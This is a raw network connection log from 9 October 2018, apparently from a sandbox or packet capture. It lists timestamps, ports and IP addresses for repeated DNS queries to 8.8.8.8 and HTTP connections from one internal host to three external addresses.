Okt 9, 2018 20:11:06.403831959 MESZ	49223	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:06.441911936 MESZ	63359	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:06.461617947 MESZ	53	63359	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:06.531274080 MESZ	80	49223	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.555922985 MESZ	49224	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:06.961386919 MESZ	64250	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:07.962971926 MESZ	64250	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:07.967936993 MESZ	53	64250	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:08.075927973 MESZ	49225	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:09.555394888 MESZ	49224	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:11.075489044 MESZ	49225	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:11.700946093 MESZ	49915	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:11.720865965 MESZ	53	49915	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:11.800641060 MESZ	49226	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:13.534744978 MESZ	61391	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:13.554410934 MESZ	53	61391	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:13.639873028 MESZ	49227	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:14.799715042 MESZ	49226	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:16.535819054 MESZ	61842	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:16.541296005 MESZ	53	61842	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:16.639054060 MESZ	49228	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:16.639796972 MESZ	49227	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:19.536273003 MESZ	57931	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:19.541268110 MESZ	53	57931	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:19.637849092 MESZ	49229	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:19.638953924 MESZ	49228	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:21.592560053 MESZ	49677	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:21.597966909 MESZ	53	49677	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:22.635150909 MESZ	49229	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:22.716269970 MESZ	53246	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:22.722079992 MESZ	53	53246	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:22.735270023 MESZ	63228	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:22.740716934 MESZ	53	63228	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:23.749857903 MESZ	61659	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:23.754729033 MESZ	53	61659	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:23.833636999 MESZ	49232	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:23.975997925 MESZ	80	49232	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:23.976243019 MESZ	49232	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:23.978279114 MESZ	49232	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:24.120575905 MESZ	80	49232	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:24.121618032 MESZ	80	49232	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:24.121797085 MESZ	80	49232	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:24.121823072 MESZ	80	49232	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:24.121947050 MESZ	49232	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:24.122456074 MESZ	49232	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:24.123691082 MESZ	49233	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:24.135042906 MESZ	80	49232	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:24.135231972 MESZ	49232	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:24.266733885 MESZ	80	49232	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:24.267394066 MESZ	80	49233	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:24.267596006 MESZ	49233	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:24.269190073 MESZ	49233	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:24.412405968 MESZ	80	49233	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:24.414361000 MESZ	80	49233	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:24.414537907 MESZ	80	49233	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:24.414562941 MESZ	80	49233	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:24.414746046 MESZ	49233	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:24.415241957 MESZ	49233	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:24.422508955 MESZ	58862	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:24.427665949 MESZ	80	49233	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:24.427952051 MESZ	53	58862	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:24.427977085 MESZ	49233	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:24.534689903 MESZ	49234	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:24.559616089 MESZ	80	49233	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:25.537010908 MESZ	64503	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:25.556669950 MESZ	53	64503	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:25.643134117 MESZ	49235	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:27.534439087 MESZ	49234	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:28.652441978 MESZ	49235	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:29.692570925 MESZ	56048	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:29.697926998 MESZ	53	56048	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:29.815337896 MESZ	49236	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:31.538278103 MESZ	54936	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:31.544133902 MESZ	53	54936	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:31.651281118 MESZ	49237	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:32.862711906 MESZ	49236	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:34.535811901 MESZ	60743	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:34.541924953 MESZ	53	60743	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:34.625210047 MESZ	49238	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:34.646812916 MESZ	49237	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:37.623963118 MESZ	49238	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:37.773576975 MESZ	56483	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:37.778870106 MESZ	53	56483	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:37.871629000 MESZ	49239	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:39.536139011 MESZ	54481	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:39.541673899 MESZ	53	54481	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:40.645747900 MESZ	49772	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:40.651555061 MESZ	53	49772	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:40.663005114 MESZ	53254	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:40.667917013 MESZ	53	53254	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:40.869178057 MESZ	49239	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:41.676290989 MESZ	53986	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:41.681380033 MESZ	53	53986	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:41.766805887 MESZ	49242	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:41.909704924 MESZ	80	49242	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:41.910032034 MESZ	49242	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:41.911398888 MESZ	49242	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:42.053725004 MESZ	80	49242	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:42.054167986 MESZ	80	49242	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:42.054349899 MESZ	80	49242	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:42.054374933 MESZ	80	49242	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:42.054553032 MESZ	49242	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:42.055154085 MESZ	49242	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:42.056612968 MESZ	49243	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:42.067826033 MESZ	80	49242	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:42.068023920 MESZ	49242	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:42.199071884 MESZ	80	49242	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:42.199574947 MESZ	80	49243	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:42.199781895 MESZ	49243	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:42.201288939 MESZ	49243	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:42.344039917 MESZ	80	49243	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:42.344304085 MESZ	80	49243	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:42.344501019 MESZ	80	49243	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:42.344526052 MESZ	80	49243	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:42.344702959 MESZ	49243	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:42.345217943 MESZ	49243	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:42.352267981 MESZ	65245	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:42.358517885 MESZ	53	65245	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:42.361748934 MESZ	80	49243	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:42.362040043 MESZ	49243	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:42.451153040 MESZ	49244	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:42.488539934 MESZ	80	49243	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:43.538783073 MESZ	55858	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:43.544174910 MESZ	53	55858	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:43.625983000 MESZ	49245	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:45.445478916 MESZ	49244	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:11:46.625535011 MESZ	49245	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:47.706171036 MESZ	60218	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:47.711517096 MESZ	53	60218	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:47.831437111 MESZ	49246	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:49.539495945 MESZ	60340	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:49.544572115 MESZ	53	60340	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:49.635421038 MESZ	49247	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:50.832772017 MESZ	49246	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:52.579967976 MESZ	53545	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:52.585484982 MESZ	53	53545	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:52.636883974 MESZ	49247	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:52.679085970 MESZ	49248	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:55.537533045 MESZ	50404	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:55.543798923 MESZ	53	50404	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:55.628026009 MESZ	49249	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:55.679019928 MESZ	49248	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:57.538980961 MESZ	58493	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:57.543767929 MESZ	53	58493	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:58.628191948 MESZ	49249	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:58.646446943 MESZ	63179	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:58.651318073 MESZ	53	63179	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:58.662883043 MESZ	51333	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:58.668329954 MESZ	53	51333	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:59.672489882 MESZ	56576	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:59.677643061 MESZ	53	56576	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:59.769762039 MESZ	49252	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:59.912241936 MESZ	80	49252	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:59.912549973 MESZ	49252	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:59.913800955 MESZ	49252	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:00.056323051 MESZ	80	49252	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:00.057738066 MESZ	80	49252	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:00.057878971 MESZ	80	49252	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:00.057904005 MESZ	80	49252	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:00.058084011 MESZ	49252	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:00.058562040 MESZ	49252	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:00.059834957 MESZ	49253	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:00.069926023 MESZ	80	49252	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:00.070125103 MESZ	49252	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:00.201850891 MESZ	80	49252	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:00.203866005 MESZ	80	49253	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:00.204056978 MESZ	49253	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:00.205457926 MESZ	49253	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:00.347358942 MESZ	80	49253	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:00.348937988 MESZ	80	49253	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:00.349117041 MESZ	80	49253	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:00.349268913 MESZ	80	49253	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:00.349488020 MESZ	49253	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:00.349973917 MESZ	49253	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:00.361778975 MESZ	80	49253	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:00.362080097 MESZ	49253	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:00.366152048 MESZ	49986	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:00.372409105 MESZ	53	49986	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:00.480691910 MESZ	49254	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:12:00.492981911 MESZ	80	49253	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:01.541789055 MESZ	63289	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:01.561397076 MESZ	53	63289	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:01.695828915 MESZ	49255	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:03.475461960 MESZ	49254	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:12:04.695548058 MESZ	49255	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:05.727267981 MESZ	50339	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:05.732920885 MESZ	53	50339	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:05.851157904 MESZ	49256	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:07.681557894 MESZ	64504	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:07.687086105 MESZ	53	64504	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:07.786190987 MESZ	49257	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:08.850815058 MESZ	49256	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:10.539557934 MESZ	58220	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:10.570059061 MESZ	53	58220	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:10.667602062 MESZ	49258	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:10.789896965 MESZ	49257	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:13.540512085 MESZ	51936	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:13.546134949 MESZ	53	51936	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:13.631230116 MESZ	49259	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:13.669075012 MESZ	49258	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:15.542566061 MESZ	55509	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:15.547383070 MESZ	53	55509	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:16.631257057 MESZ	49259	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:16.647433996 MESZ	54102	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:16.653466940 MESZ	53	54102	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:16.666094065 MESZ	50242	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:16.671334982 MESZ	53	50242	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:17.679914951 MESZ	52224	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:17.684907913 MESZ	53	52224	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:17.770971060 MESZ	49262	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:17.913692951 MESZ	80	49262	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:17.913930893 MESZ	49262	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:17.915174961 MESZ	49262	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:18.057960033 MESZ	80	49262	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:18.058532000 MESZ	80	49262	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:18.059751034 MESZ	80	49262	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:18.059849024 MESZ	80	49262	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:18.060112953 MESZ	49262	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:18.060414076 MESZ	49262	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:18.061803102 MESZ	49263	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:18.075535059 MESZ	80	49262	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:18.075742006 MESZ	49262	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:18.204216957 MESZ	80	49262	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:18.204639912 MESZ	80	49263	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:18.204812050 MESZ	49263	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:18.206804037 MESZ	49263	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:18.351608038 MESZ	80	49263	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:18.352977991 MESZ	80	49263	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:18.353142977 MESZ	80	49263	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:18.353168011 MESZ	80	49263	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:18.353332996 MESZ	49263	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:18.353847980 MESZ	49263	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:18.360869884 MESZ	55565	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:18.366198063 MESZ	53	55565	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:18.367479086 MESZ	80	49263	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:18.367702961 MESZ	49263	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:18.462192059 MESZ	49264	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:12:18.496918917 MESZ	80	49263	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:19.541697979 MESZ	53255	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:19.546946049 MESZ	53	53255	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:19.638607025 MESZ	49265	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:21.458558083 MESZ	49264	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:12:22.638622999 MESZ	49265	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:23.775300980 MESZ	55355	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:23.780389071 MESZ	53	55355	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:23.874718904 MESZ	49266	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:25.540766954 MESZ	58729	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:25.545857906 MESZ	53	58729	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:25.628074884 MESZ	49267	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:26.881783962 MESZ	49266	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:28.541467905 MESZ	53674	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:28.546996117 MESZ	53	53674	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:28.627895117 MESZ	49267	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:28.644495010 MESZ	49268	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:31.545243025 MESZ	62666	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:31.550640106 MESZ	53	62666	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:31.657051086 MESZ	49268	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:31.702315092 MESZ	49269	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:33.545865059 MESZ	60339	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:33.551054001 MESZ	53	60339	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:34.653433084 MESZ	63441	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:34.659159899 MESZ	53	63441	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:34.673394918 MESZ	60339	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:34.678287029 MESZ	53	60339	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:34.698273897 MESZ	49269	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:35.684812069 MESZ	59973	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:35.694596052 MESZ	53	59973	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:35.839993954 MESZ	49273	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:35.982454062 MESZ	80	49273	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:35.982717991 MESZ	49273	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:36.010736942 MESZ	49273	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:36.153681993 MESZ	80	49273	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:36.154457092 MESZ	80	49273	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:36.154647112 MESZ	80	49273	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:36.154798985 MESZ	80	49273	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:36.155019999 MESZ	49273	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:36.155360937 MESZ	49273	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:36.157011986 MESZ	49274	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:36.168313026 MESZ	80	49273	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:36.168500900 MESZ	49273	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:36.298315048 MESZ	80	49273	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:36.299007893 MESZ	80	49274	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:36.299226999 MESZ	49274	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:36.301183939 MESZ	49274	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:36.443564892 MESZ	80	49274	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:36.444047928 MESZ	80	49274	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:36.444250107 MESZ	80	49274	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:36.444408894 MESZ	80	49274	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:36.444637060 MESZ	49274	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:36.445496082 MESZ	49274	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:36.458007097 MESZ	60121	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:36.458920002 MESZ	80	49274	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:36.459233046 MESZ	49274	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:36.462770939 MESZ	53	60121	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:36.584511995 MESZ	49275	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:12:36.588011980 MESZ	80	49274	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:37.651485920 MESZ	51999	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:37.657043934 MESZ	53	51999	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:38.825937986 MESZ	49576	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:38.830982924 MESZ	53	49576	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:38.844404936 MESZ	55202	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:38.849112034 MESZ	53	55202	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:39.589528084 MESZ	49275	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:12:40.861655951 MESZ	59296	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:40.867522955 MESZ	53	59296	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:41.737462997 MESZ	53767	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:41.757666111 MESZ	53	53767	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:41.847067118 MESZ	49280	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:41.968539953 MESZ	57973	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:41.973535061 MESZ	53	57973	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:41.988058090 MESZ	50551	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:41.992891073 MESZ	53	50551	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:44.009725094 MESZ	58684	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:44.015266895 MESZ	53	58684	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:44.845829964 MESZ	49280	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:45.129167080 MESZ	54454	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:45.136332989 MESZ	53	54454	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:45.148298979 MESZ	51746	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:45.153069019 MESZ	53	51746	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:46.546027899 MESZ	64376	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:46.551084995 MESZ	53	64376	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:46.653165102 MESZ	49296	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:47.169083118 MESZ	58432	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:47.176240921 MESZ	53	58432	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:48.289787054 MESZ	55094	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:48.295197964 MESZ	53	55094	8.8.8.8	192.168.0.42
